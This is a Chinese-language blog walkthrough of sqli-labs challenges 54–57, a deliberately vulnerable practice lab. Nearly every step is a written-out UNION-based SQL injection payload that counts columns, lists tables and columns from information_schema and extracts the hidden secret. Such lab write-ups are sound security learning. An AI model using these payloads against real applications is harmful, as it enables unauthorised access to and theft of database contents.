sqli-labs(54-57)-challenges-Union查询

基础的写完了,进阶的练练手,莫名的有点紧张激动

54 10步之内获得flag-union-单引号

image-20210807104947722

意思是10次之内获得flag,重置数据库后表名什么的会改变

1.?id=1显示

2.?id=1 and 1=2显示 字符型

3.?id=1' order by 4--+不显示

4.?id=1' order by 3--+显示

5.?id=-1' union select 1,2,3--+显示2,3

image-20210807113604171

6.获取数据库名和表名?id=-1 ' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),database()--+

image-20210807120513126

7.h获取字段名?id=-1 ' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name='v7eq71i308')--+

image-20210807121959761

8.获取密码?id=-1 ' union select 1,database(),(select secret_XUX0 from v7eq71i308)--+

image-20210807152202340

但是提交密码,还是说不正确,不知道问题出在哪,数据库中也是那个密码

可能代码错了吧

换了个新的靶场,正确了

image-20210807155909000

55 14步内获取flag-union-数字-( )

1.?id=1 and 1=1显示

2.?id=1 and 1=2不显示,数字型

3.?id=2 and 1=1显示1的查询结果,有()

4.?id=2) order by 4--+不显示

5.?id=2) order by 3--+显示,可用字段名数为3

6.?id=-2) union select 1,2,database()--+第2,3个字段名可用

image-20210807160456897

7.获取表名

?id=-2) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),database()--+

image-20210807160807623

8.获取字段名

?id=-2) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='8zokmrvsxe'),database()--+

image-20210807161030831

9.获取flag

?id=-2) union select 1,(select secret_70XQ from 8zokmrvsxe),database()--+

image-20210807161140294

56 14步内获得flag-union-单引号-括号

1.?id=2 and 1=2显示2的查询结果,不是数字型

2.id=2'不显示

3.id=2' and '1'='1显示1的查询结果,单引号型带括号

4.id=2') order by 4不显示

5.id=2') order by 3显示,字段数为3

6.?id=-2' )union select 1,2,3--+,2,3字段可用

7.获取表名

?id=-2' )union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges'),3--+

image-20210807163252025

8.获取字段名

?id=-2' )union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='3revu8wvaf'),3--+

image-20210807163351389

9.获取flag

?id=-2' )union select 1,(select secret_9CUZ from 3revu8wvaf),3--+

image-20210807163447049

57 14步内获得flag-union-双引号

1.?id=2 and 1=2显示,不是数字型

2.?id=2'显示,不是单引号

3.?id=2"不显示,双引号

4.?id=2" and "1"="1显示2的查询结果,说明没有( )

5.?id=2" order by 4--+不显示

6.?id=2" order by 3--+显示,字段数为3

7.?id=-2" union select 1,2,database()--+,2,3字段可用

image-20210807164133509

8.获取表名

?id=-2" union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='challenges'),3--+

image-20210807164315870

9.获取字段名

?id=-2" union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='challenges' and table_name='0q9wxz2s23'),3--+

image-20210807164410070

10.获取flag

?id=-2" union select 1,(select secret_353W from 0q9wxz2s23),3--+

image-20210807164649497

posted @ 2021-08-07 17:13  1ink  阅读(69)  评论(0编辑  收藏  举报